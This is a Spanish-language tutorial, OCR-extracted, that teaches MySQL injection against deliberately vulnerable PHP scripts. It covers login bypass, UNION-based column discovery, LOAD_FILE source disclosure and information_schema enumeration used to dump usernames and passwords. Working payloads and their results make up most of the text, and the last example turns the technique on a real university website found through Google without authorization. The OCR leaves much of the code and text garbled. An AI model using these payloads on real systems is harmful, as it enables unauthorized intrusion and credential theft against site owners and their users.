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Introduccion:
Después de mucho tiempo, he decidido escribir un documento base referente a los ataques
SQL Injection, atn sabiendo que hay muchisima informacion en internet sobre esto.

Lo que haré sera darle un enfoque progresivo.

Nivel del documento:

En este documento se tratara de tocar varios niveles, desde lo basico, hasta algo mas
avanzado.

Base:

No voy a entrar en una teoria profunda referente al tema, doy por entendido, que la gente
sabe qué es SQL y para qué sirve.

De todos modos, para poder realizar ataques SQL Injection, hay que conocer una base
referente al lenguaje SQL y algun lenguaje de programacion web como PHP.

En este documento, realizaré todos los ataques en local (preparando mis propias paginas
vulnerables) y quiza, conforme escriba, acabe haciendo alguna practica real.

¢Cémo funciona este ataque?

La mayoria tendréis una minima idea, este ataque, tal y como lo indica su nombre, se basa en
inyectar una sentencia SQL nuestra, para que la ejecute el servidor objetivo. Entenderemos la
funcionalidad segln pase el documento.

EJEMPLO 1

Programacion base:

Hagamos una prueba muy rapida de como funcionan las consultas:
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<?php
/*script PHP para pruebas sql*/
$buscar=@$_GET['buscar];
if (lempty($buscar)){
mysgl_connect("localhost","root","");
mysql_select_db("test1");
$sentenciaSql="SELECT * FROM diccionario WHERE termino LIKE '%".$buscar."%"";
$query = mysgl_query($sentenciaSql);
while ($resultado=mysqgl_fetch_assoc($query)){
echo $resultado['Termino']."=".$resultado['Definicion']."<br/>";
}
}else {
echo "<form action=" method="get">
Palabra: <input type="text' name="buscar'/><br/>
<input type="submit’ value="Buscar Palabra’/>
</form>
}
>

Explicacion base del script en PHP:
El script recupera por GET (mal hablando: URL) una variable “buscar”.

Si esta vacia, significa que no hemos buscado ninguna palabray por lo tanto muestro el
formulario (el else del cddigo) en cambio, si no estéa vacia, hacemos una query:

SELECT * FROM diccionario WHERE termino LIKE ‘%variableEscrita%’;

Si analizais el codigo PHP, veréis que hago un mysgl_fetch_assoc(), esto crea un array con el
resultado de la query, donde el indice sea el nombre del campo de la base de datos

$resultado[‘Termino’]

$resultado[‘Descripcion’]
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Ejemplo:

€ o || | hitp://localhost/sqll.php

Palabra:

| Buscar Palabra |

Y si escribimos wo:

é ! il [ | http:/flocalhost/sqll.phptbuscar=wo

Mt

word=Aplicacion de Microscft. Editor de texto

Modificaremos el script PHP para ver la query que hace contra la base de datos para ver que
fallos podriamos encontrar.

Anadimos esta parte.

$query = mysgl_query($sentenciaSql);
echo "<br/>Realizando la query: ".$sentenciaSql.": <br/>";

while ($resultado=mysq|_fetch_assoc($Squery)){
echo $resultado['Termino']."=".$resultado['Definicion']."<br/>";

}

De modo que al hacer otra consulta podemos ver lo siguiente.

& % l | L] htp://localhost/sqll.php?buscar= ex

Realizando la query: SELECT * FROM diccionario WHERE termino LIKE "%0ex%':
excel=Aplicacion de Microsoft. Hoja de calculo

Hasta aqui perfecto.

Entendemos entonces, que parte de la sentencia SQL la creamos nosotros (con la variable
$buscar) y por lo tanto, la manipulacion del ataque consiste en escribir parte de codigo SQL en
esta variable (en el input del formulario o bien en la URL).
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Si buscéais documentos de SQL Injection, veréis las SQL tipicas:

1or1=1/*

Bien, veamos que ocurre en este caso con una inyeccion tipica (por comodidad, he modificado
un poco el script PHP para tener mas visibildad de la respuesta, etc.):

€ il | L http/flocalhost/sqll.php?buscar=1+or+1%301 %23

e

Realizando la query: SELECT * FROM diccionario WHERE termino LIKE %] or 1=1&8%"

Resultado de la busqueda:

Palabra:

| Buscar Palabra |

En este caso no nos muestra resultados pero tampoco un error.

Si observamos la query que genera (el “#” es un comentario SQL) es normal que no nos
muestre ningln dato, puesto a que no hay ningln termino en la tabla diccionario con esos
“caracteres”. Quizé podria funcionar con otro tipo de sentencia (siendo unid, y “=" y no un
“LIKE™) pero de todos modos, no significa que no sea vulnerable.

¢Como saber si es vulnerable?

Bien, intentemos cortar la sentencia afiadiendo una comilla simple:
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e [] http:/flocalhost/sqll.php?buscar="
&) ol || P qil.php

Realizando la query: SELECT * FROM diccionario WHERE termino LIKE "%%'%"

Resultado de la busqueda:

Call Stack

# |Time Memory Function Location

1 0.0013 368976|{main}( ) _sqll php:0

2 0.0178 375368 |mysql fetch assoc () .\sqll php:19
Palabra:

Al afiadir la comilla simple, la query queda xxxxxxxx like ‘%%’

Y esto, realmente es un error de SQL ya que no es correcto a nivel sintactico. De hecho, si
afadimos al script PHP que nos muestre los errores MySQL veremos el problema:

i | u http://localhost/sqll.php?buscar="
€ il || P alLphp

% -le]

Errores Mysql:

Realizando la query: SELECT * FROM diccionarioc WHERE termino LIKE "%'%":

Resultado de la busqueda:

()
Call Stack
# |Time Memory Function Location
1 0.0012 371400|{main} () .'sqll.php:0
2 0.0075 377792 |mysql fetch assoc () 'sqll.php:25
Palabra:

1064: You have an error in vour SQL svntax; check the manual that corresponds to vour MySQL server version for the right svatax to use near '%" at line 1

El error es el nUmero 1064, este es un error de sintaxis, quiere decir que nos hemos

“equivocado” lanzando la query contra la base de datos.

Es muy importante entender este concepto.

Bien, vamos a intentar que nos muestre dos resultados.

Para que ocurra esto, sabemos que la query debe de quedar asi:
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SELECT * FROM diccionario WHERE termino LIKE ‘%wo%’ or termino LIKE ‘%ex%’;

Por lo tanto, nosotros deberiamos de inyectar algo parecido a:
wo%’ or termino LIKE ‘%ex

De esta manera, al “unirlo” con la parte predefinida por el script, la query quedara como
deseamos. Hagamos la prueba:

&a gl || | http:/flocalhost/sqll.php?buscar=wo%25'+ or+termino+like+ ' %25ex

™

Realizando la query: SELECT * FROM diccionarioc WHERE termino LIKE "%owo%' or termino like '%oex%s'"

Resultado de la busqueda:
word=Aplicacion de Microsoft. Editor de texto
excel=Aplicacion de Microsoft. Hoja de calculo

Palabra:

Buscar Palabra

Nota: Me estoy dando cuenta que si copiais literalmente las sentencias del documento, no funcionara porque las
comillas simples me las transforma a un acento, asi que lo escribis a mano y todo ok ;).

Bien, como podéis ver, hemos inyectado perfectamente la SQL.

Esta es la base de una inyeccion (no el ejemplo, pero si la teoria) y es estrictamente necesaria
entenderla para poder seguir hacia delante

EJEMPLO 2

A continuacién, haré un ejemplo de un login. No todas las SQL Injections se basan en un login,
pero también es interesante conocer esta opcion.

Me preparo un script en PHP que tenga un login.
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<?php
/*script PHP para pruebas sql*/

$username=@$_GET['username’;
$password=@$_GET['password'];

if ('lempty($password) and 'empty($username)){

mysgl_connect("localhost","root","");
mysql_select_db("test1");

$sentenciaSql="SELECT username,password FROM user WHERE username=""$username."" AND
.$password."";

$query = mysgl_query($sentenciaSql);

password=

/*afiadimos que nos muestre los errores Mysql*/
if (mysql_errno()!=0){
echo "<hr/><h2>Errores Mysql: </h2><br/>";
echo "<u>".mysql_errno().": ".mysgl_error()."</u><hr/>";

}
echo "<br/>Realizando la query: ".$sentenciaSql.": <br/><br/><br/>";

echo "<h2>Resultado de la bisqueda: </h2>";
while ($resultado=mysqgl_fetch_assoc($query)){
echo "Hola ".$resultado['username']." tu password es
" $resultado['password']."<br/><br/>";

}

echo "<form action=" method="get">
Username: <input type="text' name="username'/><br/>
Password: <input type="text' name="password'/><br/>
<input type="submit' value="Login'/>
</form>

>

Basicamente lo que hace este script, es recuperar el username y el password escrito el en
form, si alguno de los dos no se ha escrito, vuelve a mostrar el formulario. Si se han
completado los datos correctamente en el formulario, entonces vamos a buscar el username y
el password que coincidan con el escrito a la base de datos:
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= il | | L] btp//localhost/sgll.php
i LN . Lt

Username:
Password:

| Login |

@ Wl | L httpfflecalhost/sgll.phpfusername=invitado&password=invitado

Realizando la query: SELECT username password FROM user WHERE username="invitado' AND password="mvitado':

Resultado de la busqueda:
Hola invitado tu password es invitado

Username:

Password:

| Login

He creado un usuario invitado de prueba, s6lo para que podais ver cual es el resultado y cual
es la query que realiza.

Veamos aqui, si inyectamos una de las famosas easy injection de tutoriales basicos:

1'or1'=1

6 ol | http:/flocalhost/sqll.phpTusername=1"+or+'1'%30'1 &password=1"+or+'1'%3D'1
Sl S L~

Realizando la query: SELECT username, password FROM user WHERE username='1" or '1'="1' AND password='1" or '1'='1":

Resultado de la busqueda:

Hola invitado tu password es invitado

I—[ola root tu password es toor

Username:
Password:

Login |

Pero, porque? Bien fijaros en la query arriba, la condicion es:
Where username="1" or ‘1’="1" and password="1" or ‘1’="1’
Si sabéis algo de los tipos booleanos, esto viene a decir:

10
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Where falso or true and falso or true

Al ser una disyuncién Idgica, siempre que haya un true, el valor sera true y por lo tanto queda:
Where falso or true or true, lo que viene a ser:

Select username, password from user where true

Esta query, ejecutada en la base de datos directamente:

@ ol || A httpe/flocalhost/phpmyadmin/index.php?db=testl &itoken=2ccdcBd70bIct%ad c483b1 cA9077 cdD2
p-‘lpf'bfi__lpfi-d_fﬂl’i &3 localhost » & testl » [E user
fEExaminar % Estructura J25QL 'Buscar #clnsertar [2 Expor
(=] - =

Wg registros 0 -1 (2 total. La CI.JFISLIHE tardd 0.0009 seg)

Base de datos

testl (4) - PAESWOED FEOM user
test1 (4)
X
ISPBEETATE Mostrar: | 30 filas empezando de 0
B grup - | .
B products en modo horizontal - y repetir los encabezados ¢
B user Organizar segun la clave: Minguna -
3 ncinne
— ] username password
2 ¥ invitado invitado
& X root toor

De hecho, podriamos inyectar lo siguiente:

&= _.__l_l_ s htt_p:_?'_f'lDcalhost.-’sqll.php?u5ername:1'+0r+'1'%3D'1&'._password:1'+0r+'1'%3D'1

S

Realizando la query: SELECT username password FROM user WHERE username='1" or '1'="1' AND password='1" or '1'="1":

Resultado de la busqueda:
Hola invitado tu password es invitado
Hola root tu password es toor

Username: 1' or true#

Password: asd

| Login

De manera que nos devuelve esto:

11
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& Wl || L http//localhost/sqll.php?username=1'+or+true:23 &password=asd

Mt

Realizando 1a query: SELECT username_password FROM user WHERE username='1" or true®' AND password="asd":

Resultado de la busqueda:
Hola invitado tu password es invitado
Hola root tu password es toor

Username:
Password:

Login |

Fijaros en la query:
Select.......... Where username="1" or true# xxxxxxx

El hecho que ponga un “#” implica que el MySQL ignoraréa lo que vaya después (puesto que lo
estamos comentando) asi que la query queda: (Dependiendo de la version Mysgl puede variar
“/*7.” --* por ejemplo)

SELECT...... where username="1’ or true
Al tener un valor l6gico true, la query devolvera en realidad.
Select username,password from user;

Por lo tanto se nos listan todos los usuarios (esto es debido a una mala programacion
PHP(while), luego veremos porqué).

MEJORANDO NUESTRO CODIGO
¢Pero siempre es tan facil?

En realidad, el nivel de facilidad en explotar una vulnerabilidad, es proporcional al nivel de
conocimientos de programacién y de precaucion del programador de dicha web y aun asi...

Siguiendo con el mismo ejemplo, nuestro script PHP del login controla lo siguiente:

si estan vacios los datos del formulario, muestra el formulario, sino lanza una query buscando
el usuario y contrasefia escrito por el usuario.

Bien, como somos buenos programadores, mejoraremos el algoritmo:

12




Entendamos y Practiquemos MySQL Injection - RevangelyonX

Si estan vacios los datos del formulario, muestra el formulario, sin6, lanza una query buscado el
usuario y contrasefia, y contrastalos con lo que ha escrito el usuario:

Este algoritmo es mucho mejor que el anterior, puesto que al final, al obtener el usuario root,
contrastaré la informacién y al ver que root no es igual que 1’ or ‘1’="1"# mostraré un error.

Modificamos el script:

echo "<h2>Resultado de la bisqueda: </h2>";
while ($resultado=mysq|_fetch_assoc($Squery)){
if ($resultado['username'] == $username) and ($resultado['password'] ==
$password)){
echo "Hola ".$username." tu password es. ".$password."<br/>";
}else {
echo "Error: Los datos escritos en el formulario, no son iguales a los que
devuelve la query: ";

}

Afadiendo ese IF, sera mas complicado inyectar, bueno de hecho, estamos inyectando, pero
no estamos explotando la vulnerabilidad correctamente. Si os fijais, nos lanza dos linias de
error, esto es debido a que inyectamos bien, porque nos devuelve dos registros (root, invitado)
pero al no ser iguales a lo que realmente se ha escrito en el form da error:

& ol | [ http//localhost/sqll.phpTusername=1"+or+true323&password=asd -l | @~ Yohoo

Realizando la query: SELECT username.password FROM user WHERE username='1' or true#' AND password="asd":

Resultado de la biisqueda:

Error: Los datos escritos en el formulario. no son iguales a los que devuelve la query: Error: Los datos escritos en el formulario. no son iguales a los que devuelve la query:
Username:
Password:

‘ Login |

Efectivamente, la query devuelve:

Username=root pero mi username es 1’or true.

En este caso, aunque supiéramos que el usuario es root pero no sabemos la clave. PHP filtrara
esta inyeccion:

13
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6 ol || L http:/flecalhost/sgll.phptusername=1'+or+username%30 root' %238 password=asd

o

Realizando la query: SELECT username, password FROM user WHERE username='1" or username="root'# AND password='asd"

Resultado de la biasqueda:

Error: Los datos escritos en el formulario, no son iguales a los que devuelve la query:
Username:
Password:

Login |

Y engafiar a PHP no es tan facil como engafiar a SQL.

Veamos otro tipo de inyecciones comunes.

EJEMPLO 3

Existen logins que tiene un algoritmo similar a esto:

El usuario escribe, lanzamos la consulta a la base de datos, si todo esta ok, guardo al usuario
en sesion y lo redirecciono, por ejemplo al index, si el usuario es admin, muestro estas
opciones, sino lo es, no lo muestro.

Nota: De momento, ignoraremos el tema de sesion o cookie, para hacer el ejemplo del problema visual

Para hacer el ejemplo, haré un script en PHP muy sencillo:

14
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<?php

/*script PHP para pruebas sql*/

$accion=@$_POST['accion’];
if (empty($accion)){

echo"
<form action="sgl1.php' method="post'>
Usuario <input type="text' name ='user'/><br/>
Password <input type="text' name ='password'/><br/>
<input type="hidden' name="accion' value='login' />
<input type="submit' value="identificarse' />
</form>

} else if ($accion=="login"){

$user=$_POST['userT;
$password=$ _POST['password'];
mysgl_connect("localhost","root","");
mysql_select_db("test1");
$query = "SELECT * FROM user WHERE username = "".$user."" AND password = "".$password.""";
$res=mysql_query($query);
if (mysql_errno()!=0){
echo "<h1>Errores Mysql: </h1><br/>";

}
$resultado=mysq|_fetch_assoc($res);
if (lempty($resultado)){
echo "Hola: ".$resultado['username’];

if ($resultado['username’] == "root"){
echo "<br/><a href="#'>Administrar Usuarios</a>";

}

telse{
Echo “<br/>error de login”;

}

}else {
//accion no permitida

>

Por cierto, queria comentaros que estoy programando a pifion y nada limpio, enfin...

Bien, pues este cddigo es vulnerable, pero a diferencia del primer login, la inyeccion 1 or 1=1
no funcionara. Vamos por pasos, 0s ensefio como va una vez se conoce los usuarios:

15
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& il || | http://localhost/sgll.php

e

Hola: mvitado

Invitado/invitado

€ il | L http/flocalhost/sgll.php
Hola: root
Admmistrar Usuanos

Con root/toor

Afado como quedan las querys:

L il || L] httpi/flocalhost/sqll.php

S

haciendo la query: SELECT * FROM user WHEERE username = 'asd' AND password = "asd'
error de login

Luego:

€ ol || L] http//localhost/sgll.php

S

haciendo la query: SELECT * FROM user WHERE username = 'invitado' AND password = 'invitado'
Hola: invitado

Bien, pensemos, modificamos la query para quede asi:
Select * from user where true
Probamos de inyectar:

Abcdef’ or true# en el user (en este script no compruebo que los campos estén completados...
pero no tiene relevancia):

€ ol || L http:/flecalhost/sqll.php

Mo

haciendo la query: SELECT * FROM user WHERE username = 'abcdef or trueg’ AND password = 'asd’

Hola: invitado

Mmm invitado? Pero yo quiero ser root. Esta es la diferencia, en el primer login yo hacia un
while(no es logico para un login, pero era un ejemplo)

16
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Al no hacer un while lo que ocurre, es que PHP coge el primer valor devuelto por la base de
datos. El orden de una tabla, es el orden de insercion, en este caso, se insertd antes a invitado,
que a root.

Bueno, podemos alterar el orden con ORDER...

abcdef' or true ORDER BY 1 DESC#:

&= Wil || http://localhost/sgll.php

haciendo la query: SELECT * FROM user WHERE username = 'abedef’ or true ORDER. BY 1 DESC#' AND password = 'asd'
Hola: root

Administrar Usuatios

Bien, este caso es poco comun, porque alomejor hay un usuario llamado “zero” que seria
nuestro usuario final...

Bueno, pues volvamos a las union selects..

Una de las opciones que nos da mysql, es poder cargar un archivo, mediante LOAD_FILE,
dandole un valor hexadecimal.

Aqui, en el ejemplo, yo sé que el documento que quiero cargar (el propio sqll.php) esta en
c:\wamp\www\sql1.php (saber donde esta el script, lo dejo a vuestra imaginacion)

Si laweb vulnerable no filtra las comillas, podremos utilizar el string directamente, si lo
convierte, haremos la conversién del string a hexadecimal, obtengo:

633abc77616d705c7777775¢73716¢312e706870
Lo que para el SQL viene a ser 0x633a5¢77616d705¢7777775¢c73716¢312e706870

Para hacer un load_file, necesitamos ejecutar un UNION: adivinemos cuantas columnas
tenemos:

= il || L http://localhost/sqll.php

e

haciendo la query: SELECT * FROM user WHERE username = 'asd’ union select 1,23 .4.5%' AND password = 'asd’
Hola: 2

Bien, vemos que tenemos 5 columnas, y que la que se muestra por pantalla es el 2.
Asi que modificaremos en el campo Usuario el valor del 2, inyectamos esto:

abcdef' union select 1,load_file(0x633a5¢77616d705¢7777775¢73716¢312e706870),3,4,5#

17
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& ol || [ nttp/slocalhost/sqil.php - G| @~ hotmail

haciendo la query: SELECT * FROM user WHERE username = 'abcdef union select 1 load_file(0x633a5¢c77616d705c¢7777775¢73716c312e706870).3.4.58' AND password = 'asd’
Hola: Usuario

Password

‘ identificarse | ": } else if (Saccion=="login")}{ Suser=5_POST[user']: Spassword=%_POST[ password]: mysql_connect("localhost’,"root".""): mysql_select_db("test1"); echo "haciendo la
* FROM user WHERE username = ".Suser." AND password = ".Spassword.""; Sres=mysql_query(Squery): if (mysql ermo(}!=0){ echo "

Errores Mysql:

". echo mysql_ermo().": "mysql_error()."

". } Sresultado=mysqgl_fetch_assoc(Sres); if (lempty(Sresultado)){ echo "
Hola: " Sresultado['username']: if (Sresultado['username'] == "root"){ echo "
Admmistrar Usuanios"; } } else { echo "

error de login”; } } else { //accion no permitida } 7>

Vemos que se ha cargado (load_file) todo el cddigo del archivo sql1.php, miramos el cédigo
fuente resultante:

haciendo la query: SELECT * FROM user WHERE username = "abcdef® union select
1,load_file(0x633a5c77616d705c7777775c73716c312e706870),3,4,5#" AND password = “"asd"<br/>Hola: <?php

/*script PHP para pruebas sql*/

$accion=@$_POST["accion"];

it (empty($accion)){
echo "

<form action="sqll.php" method="post">
Usuario <input type="text" name ="user"/><br/>
Password <input type="text" name ="password"/><br/>
<input type="hidden" name="accion” value="login" />
<input type="submit® value="identificarse" />

</form>

} else if ($accion=="login"){

$user=$_POST["user"];
$password=$_POST["password™] ;
mysql_connect(*'localhost", " root",""");
mysql_select_db('testl™);
echo "haciendo la query: "';
echo $query = "SELECT * FROM user WHERE username = "".$user.”" AND password =
" _$password.""";
$res=mysqgl_query($query);
it (mysql_errno()!=0){
echo "<hl>Errores Mysql: </hl><br/>";
echo mysqgl_errno().": ".mysql_error()."<br/>";

}

$resultado=mysqgl_fetch_assoc($res);
iT (lempty($resultado)){

echo "<br/>Hola: ".$resultado[“username”];
if ($resultado["username”] == "root"){
echo '"<br/><a href="#">Administrar Usuarios</a>";
¥
} else {
echo '"<br/>error de login';
b
} else {
//accion no permitida
b

2>

He subrayado lo que nos interesa, la idea es que si el username (ya tenemos el campo) es igual
a root, podremos modificar los usuarios (puramente ficcion, si alguien sigue programando este
tipo de validaciones merece la muerte ;))

18
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Asi que nada... haya vamos:

abcdef' or username="root'#

€& | L] http://localhost/sgll.php

haciendo la query: SELECT * FROM user WHERE username = 'abcdef’ or username="root'# AND password = 'asd'

Hola: root
Administrar Usunarios

Asi pues, explotamos una vulnerabilidad (SCD — Soure Code Disclosure) mediante la funcién
Load_File de MySQL. Esto nos puede ser muy util si queremos cargar el tipico config.php y ver
las credenciales de conexion a la Base de Datos (por si existiera un PHPMyAdmin o la
posibilidad de conectarse remotamente con mysql)

EJEMPLO 4

Este ejemplo es muy comun, se basa en un listado de productos, categorias, etc. Mediante un
id.

€ il || L http//localhost/sgll.php

o

Listado de productos entero:

*5% Impresora LaserJet HP
*/* Television LG

Al seleccionar un producto, obtenemos su descripcion:
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&= gl || nttpfiocalhost/sgll.phplid=5
\t, | p qil.php

Eealizando la query: SELECT * FROM productos WHERE id=35:

Resultado de la busqueda:

Producto: Impresora LaserJet HP.
Descripecion: Modelo XXXX Impresora Laser

Listado de productos entero:

®*5* Impresora LaserJet HP
*6* Television LG

Bien, comprobamos la vulnerabilidad:

& > al | L nttpflocalhost/sqil.phpii
€, il || p qil.php

Errores Mysql:

1064: You have an error in vour SQL syntax; check the manual that corresponds to yvour MySQL server version for the right syntax to use

Realizando la query: SELECT * FROM productos WHERE id=5":

Resultado de la busqueda:

Al introducir una comilla simple en la url, vemos que genera un query con un error SQL,
obviamente afladiendo or ir=6 en la URL se nos listarian los dos productos.

Una de las sentencias utilizadas en SQL Injection es el UNION.

El unién lo que haréa sera unir el resultado de otra select al resultado de la primera.
Nos serd Gtil para listar tablas y otro campos.

Ejemplo:

Query:
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select nombre from productos where id=5 union select termino from diccionario where
termino like "%wo%'

| «" Mostrando registros
SELECT nombre

FEOM productos

WHEPE id =5

UHION SELECT termino

FEOM diccionario

WHEEE termino LIEE 'iwoi'
LIMIT © , 30

en modo  horizontal

+ Opciones
nombre
Impresora LaserJet HP
word

En definitiva, un UNION nos permite unir resultados de otras tablas. Qué ocurre si lo
introducimos en la URL?

(- il || http://localhost/sqll.phpfid=5%20unicn%20select %20termino 2520from %20 diccionario %e20where2620termin o %.201ike 5205627 %

Errores Mysql:

1222: The used SELECT statements have a different number of columns

Realizando la query: SELECT * FROM productos WHERE id=5 union select termino from diccionario where termino like "%owo%':

Bien, el error 1222 nos indica que necesitamos el mismo nimero de columnas que las que se
piden en la tabla productos.

¢Cémo sabemos cuantos campos tiene productos?

Una de las posibilidades es afiadir nimeros en la sentencia select después del union:
Select xxxx union select 1,2,3,4,xxxx

MySQL nos permite seleccionar mediante select cualquier valor

Select 1 nos mostrara 1.
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Select 1,2 nos mostrara 1 | 2

De manera, que podemos ir probando hasta encontrar el nimero de campos necesarios para
hacer un union:

(- Wl | L bttp/flocalhost/sqlil.php?id=5 union select 1

e

Errores Mysql:

1222 The used SELECT statements have a different mumber of columns

Realizando la query: SELECT * FROM productos WHERE id=5 union select 1:

Sigue dando el mismo error, por lo tanto vamos incrementando el nimero hasta encontrar el
numero de columnas (en este caso 3):

6 al ||| http://localhost/sgll.phpfid=1 unicn select 1,23

N

Realizando la query: SELECT * FROM test] productos WHERE id=1 union select 1.2.3:

Resultado de la busqueda:

Producto: Impresora LaserJet HP.
Descripcion: Impresora LaserJet HP xoox
Producto: 2.

Descripcion: 3
Listado de productos entero:

*]1* Impresora LaserJet HP
22% Television LG
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Esto nos da buena informacion, vemos que el “segundo producto” muestraun 2,y un 3, es
decir, esos son los campos que se muestran por pantalla.

Por lo tanto, si vamos a inyectar algo, esperando un resultado, para poder verlo,
necesitaremos inyectarlo en el campo 2 y el 3 (significa, que modificaremos los datos de la url

solo parael 2y el 3)

\ * ) ol | L] http://localhost/sgll.php?id=1 union select 1 diccionario.terming,3 from diccionario

o

Realizando la query: SELECT * FROM test] productos WHERE id=1 union select 1, diccionario termino,3 from diccionario|

Resultado de la busqueda:

Producto: Impresora LaserJet HP.
Descripcion: Impresora LaserJet HP oo
Producto: word.

Descripcion: 3

Producto: excel.

Descripcion: 3

Si os fijais en la URL, he cambiado el 2 por los valores que quiero ver, afladiendo el FROM
tabla.

Como resultado producto: Word, etc.

Otra manera alternativa de saber el niUmero de las columnas, es mediante un GROUP BY o con
ORDER BY.

“ il || L bitp/flocalhost/sqll.php?id=5 group by &

S

Errores Mysql:

1054: Unlnown cohmin '6' in 'sroup statement’

Realizando la query: SELECT * FROM productos WHERE id=5 group by 6:

En cambio si hacemos un group by 5:
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é ! ol || L] hitpi/flocalhost/sqll.php?id=5 group by 5

Realizando la query: SELECT * FROM productos WHERE id=5 group by 5:

Resultado de la busqueda:

Producto: Impresora LaserJet HP.
Descripcion: Modelo XXXX. Impresora Laser

Listado de productos entero:

*5® Impresora LaserJet HP

*6* Television LG

No da error, por lo tanto, la tabla productos tiene 5 campos.

Y qué utilidad podemos sacar de aqui?

MySQL utiliza tablas internas donde se almacenan los nombres de las tablas, sus medidas, etc.
Esta db que contiene estas tablas se llama information_schema.

Si hiciéramos: SELECT * FROM information_schema.tables veriamos todas las tablas que tiene
el servidor MySQL.

Por lo tanto, intentaremos inyectar esta union para sacar informacion util.
Volviendo a la query:

id=5 union select 1,2,3

Modificaremos la URL de la siguiente manera:

union select 1,table_name,3 from information_schema.tables

24




Entendamos y Practiquemos MySQL Injection - RevangelyonX

6 ) il || http//lecalhost/sqll.php?id=1 union select 1 table_name3 from infermatien_schema.tables

Realizando la query: SELECT * FROM testl productos WHERE id=1 union select 1 table name 3 from information schema tables:

Resultado de la busqueda:

Producto: Impresora LaserJet HP.
Descripcion: Impresora LaserJet HP oo
Producto: CHARACTER._SETS.
Descripcion: 3

Producto: COLLATIONS.

Descripeidn: 3

Producto: COLLATION_CHARACTER, SET_APPLICABILITY.
Descripecion: 3

Producto: COLUMNS.

Descripcion: 3

Producto: COLUMN_PRIVILEGES.
Descripcion: 3

Producto: ENGINES.

Descripcion: 3

Producto: EVENTS.

Descripcion: 3

Nota: es mejor hacer el unién indicando el nombre de la DBy sus tablas:

UNION SELECT 1,information_schema.tables.table_name,3 from information_schema.tables

Se nos listan todas las tablas que contiene mysgl, entre otras (si siguiéramos bajando en la
pagina web) veriamos lo siguiente:

Descripcion: 3

Producto: proveidor.

Descripcion: 3

Producto: user.

Descripcion: 3

Producto: usuari.

Bien, tenemos el listado de las tablas y entre otras, vemos user.

Vamos a modificar la inyeccion para ver que contiene esta tabla.

La query deberia de quedar asi:

Select xxxx from xxx union select user.[campo que desconocemos] from user

Como descubrimos los campos? (esto me recuerda al blind sgl, ya hablaremos de ello)

Podriamos ir por intuicion: username, usuario, nombreUsuario, etc.
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Hagamos una prueba:

@ ol || http:/flocalhost/sqll.phpfid=1 union select 1,user,3 from user

N

Errores Mysql:

1054: Unknown column ‘user’ in 'field list’

Realizando la query: SELECT * FROM test] productos WHERE id=1 union select 1 user.3 from user:

Vale ok... podriamos tirarnos horas.
Suerte que mysql tiene otra tabla con estos datos! ;)

Esta tabla se encuentra en la misma database (information_schema) y se llama originalmente
COLUMNS.

Para saber las columnas de una tabla, necesitamos la tabla y para acotar la basqueda la base
de datos.

Ejemplo:

Select * from information_schema.columns where
information_schema.columns.table_name="nombreTabla’ and
information_schema.columns.table_schema = ‘nombreDb’

Bien, tenemos la tabla, ahora conseguiremos el nombre de la base de datos. Para ello
disponemos de la funcion database de SQL. Por lo tanto.

Unidn select 1,database(),2 nos dara el nombre de la base de datos:

26




Entendamos y Practiquemos MySQL Injection - RevangelyonX

é ol || http:/flecalhost/sqll.php¥id=1 union select 1,2, database()

Realizando la query: SELECT * FROM test] productos WHERE id=1 union select 1.2 database()-

Resultado de la busqueda:

Producto: Impresora LaserJet HP.
Descripcion: Impresora LaserJet HP oo
Producto: 2.

Descripcion: test]

Listado de productos entero:

*1* Impresora LaserJet HP
*2* Television LG

Como veis en la descripcion, la database es testl y sabemos que la tabla es user.
Por lo tanto hagamos la inyeccion ;). Asi queda la URL:

http://localhost/sqll.php?id=1%20union%20select%201,2,information_schema.columns.colu
mn_name%20from%20information_schema.columns%20where%20information_schema.colu
mns.table_name=%27user%27%20and%20information_schema.columns.table_schema=%27te
st1%27

Y este es el resultado:
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Fealizando la query: SELECT * FROM testl proy
and information schema columns table schema='t

Resultado de la basqueda:

Producto: Impresora Laser]Jet HP.
Descripcion: Impresora LaserJet HP xxoxx
Producto: 2.

Descripcidn: id

Producto: 2.

Descripcidn: username
Producto: 2.

Descripcidn: password
Producto: 2.

Descripeion: nom

Producto: 2.

Descripeion: grup_id

Bien, ya sabemos los campos, asi que la inyeccién va a ser:

union select 1,2,test1.user.username from testl.user

e

é ol . || http:/flecalhest/sgll.phpfid=1 unicn select 1,2 testl.user.username from testl.user

Realizando la query: SELECT * FROM testl productos WHERE id=1 union select 1.2 test] userusername from test] user:

Resultado de la busqueda:

Producto: Impresora LaserJet HP.
Descripcion: Impresora LaserJet HP oo
Producto: 2.

Descripcion: invitado

Producto: 2.

Descripeion: root

Obtenemos el password

union select 1,2, test1.user.password from testl.user
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é Wl || http://localhost/sqll.php?id=1 union select 1,2, testl.user.password from testl.user
S e : it 7 3

Realizando la query: SELECT * FROM test] productos WHERE id=1 union select 1,2 test] userpassword from test] user:

Resultado de la busqueda:

Producto: Impresora LaserJet HP.
Descripcion: Impresora LaserJet HP s
Producto: 2.

Descripcién: invitado

Producto: 2.

Descripcién: toor

Y ya nos podemos logar como administradores ;)

En este caso, ha sido senzillo, el password no va encriptado, y el listado de productos se basa
en un foreach. Esto se podria complicar si la web no lista todo el resultado de la base de datos,
sino el primer registro...

EJEMPLO 5 — PRUEBA REAL

He buscado en google, y me he encontrado con una Universidad que presenta una
vulnerabilidad.

Primero demostramos la vulnerabilidad.

index.php?id=425 order by 1000#

Esto me devuelve:

29




Entendamos y Practiquemos MySQL Injection - RevangelyonX

‘Unde rgraduate Programs

..-ﬁrraduate_:Prn ri.llms ; | ;
R ¥ TORtams., , o Yo

ol ;' " i E .
[ - E - ok - |

i

RE se i‘rCh

Faculty & Staff

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in
hrarfwwwﬂﬁndex.php on line 27

Bien, bajamos el nimero del order hasta ver que tiene 26 campos:

index.php?id=425 union select
1,2,3,45,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#

Esto no nos mostraria error, pero tampoco nos mostraria ningn nimero, es debido a que solo
muestra un registro devuelto de la base de datos, y por lo tanto, solo muestra los datos de id
425. Asi que modificamos 425 a -425 (ya que no existira en la db)

index.php?id=-425 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#

tesearch

-'a::ult_y & Staff LU0 o
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Como veis se muestran los valores, 5,6 y 12. Asi que vamos a modificar esos valores.

Lo primero que vamos a intentar, es hacer el union con el information_schema.

Nota: Mientras escribia este manual, he visto que pueden haber problemas al hacer el union.

Supongamos que la base de datos information_schema tiene un engine: Mylssam. Si la base de datos que utiliza
la web (testl anteriormente) es de otro engine (InnoDB) no podriamos hacer el union (COLLATION Problems)

